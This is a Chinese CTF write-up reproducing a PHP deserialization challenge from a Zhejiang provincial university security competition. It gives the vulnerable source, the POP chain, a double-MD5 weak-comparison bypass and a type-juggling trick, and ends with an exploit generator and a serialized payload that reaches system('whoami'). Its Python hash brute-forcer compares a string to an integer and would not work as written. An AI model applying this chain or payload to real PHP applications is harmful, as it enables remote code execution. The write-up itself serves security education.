文章

第七届浙江省大学生网络与信息安全竞赛决赛反序列化复现

第七届浙江省大学生网络与信息安全竞赛决赛反序列化复现

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
highlight_file(__FILE__);
error_reporting(0);
class AAA
{
    public $aear;
    public $string;
    public function __construct($a)
    {
        $this->aear = $a;
    }
    function __destruct()
    {
        echo $this->aear;
    }
    public function __toString()
    {
        $new = $this->string;
        return $new();
    }
}

class BBB
{
    private $pop;

    public function __construct($string)
    {
        $this->pop = $string;
    }

    public function __get($value)
    {
        $var = $this->$value;
        $var[$value]();
    }
}

class DDD
{
    public $bag;
    public $magazine;

    public function __toString()
    {
        $length = @$this->bag->add();
        return $length;
    }
    public function __set($arg1, $arg2)
    {
        if ($this->magazine->tower) {
            echo "really??";
        }
    }
}

class EEE
{
    public $d = array();
    public $e;
    public $f;
    public function __get($arg1)
    {
        $this->d[$this->e] = 1;
        if ($this->d[] = 1) {
            echo 'nononononnnn!!!';
        } else {
            eval($this->f);
        }
    }
}

class FFF
{
    protected $cookie;

    protected function delete()
    {
        return $this->cookie;
    }

    public function __call($func, $args)
    {
        echo 'hahahhhh';
        call_user_func([$this, $func . "haha"], $args);
    }
}
class GGG
{
    public $green;
    public $book;
    public function __invoke()
    {
        if (md5(md5($this->book)) == 666) {
            return $this->green->pen;
        }
    }
}

if (isset($_POST['UP'])) {
    unserialize($_POST['UP']);
}

利用

pop链子

1
2
3
4
EEE::__get
GGG::__invoke  =>  EEE::__get
AAA::__tostring  =>  GGG::__invoke
AAA::__destruct  => AAA::__tostring

链子很容易就能构造出来,难点是 双写md5的弱比较和数组验证的绕过

弱比较

只要前面三个字符是666就可以了

1
2
3
4
5
6
7
8
9
10
11
import hashlib
i = 0

while True:
    text = '{}'.format(i)
    a = hashlib.md5(text.encode()).hexdigest()
    m = hashlib.md5(a.encode()).hexdigest()
    if m[0:3]==666 :
        print(text,m)
        break
    i +=1

覆写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class EEE
{
    public $d = array();
    // public $d = 123;     // 绕过
    public $e;
    public $f = "system('dir');";
    
    public function __destruct()
    {
        $this->d[$this->e] = 1;
        var_dump($this->d);
        var_dump(gettype($this->d));
        var_dump($this->e);
        if ($this->d[] = 1) {
            echo 'nononononnnn!!!';
        } else {
            echo ($this->f);
        }
    }
}

$a = new EEE();
// $a->e = &$a->d;  // error
serialize(($a));

代码正常情况是输出的 数组类型

我们等于一个数字类型就能绕过,用字符串,字符串是可以构成一个数组类型的不能用

array

image-20241110153749969

int

image-20241110153800496

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

class AAA
{
    public $aear;
    public $string;
}

class DDD
{
    public $bag;
    public $magazine;
}

class EEE
{
    public $d = array();
    public $e;
    public $f;
}

class GGG
{
    public $green;
    public $book;
}

$a = new EEE();
$a->d = 123;
// $a->e;
$a->f = "system('whoami');";

$b = new GGG();
$b->book = 213;
$b->green = $a;

$c = new AAA();
$c->string = $b;

$d = new AAA();
$d->aear = $c;

echo serialize($d);

paylaod

1
O:3:"AAA":2:{s:4:"aear";O:3:"AAA":2:{s:4:"aear";N;s:6:"string";O:3:"GGG":2:{s:5:"green";O:3:"EEE":3:{s:1:"d";i:123;s:1:"e";N;s:1:"f";s:17:"system('whoami');";}s:4:"book";i:213;}}s:6:"string";N;}

15383627931441c1eb4739f8e2638dc

本文由作者按照 CC BY 4.0 进行授权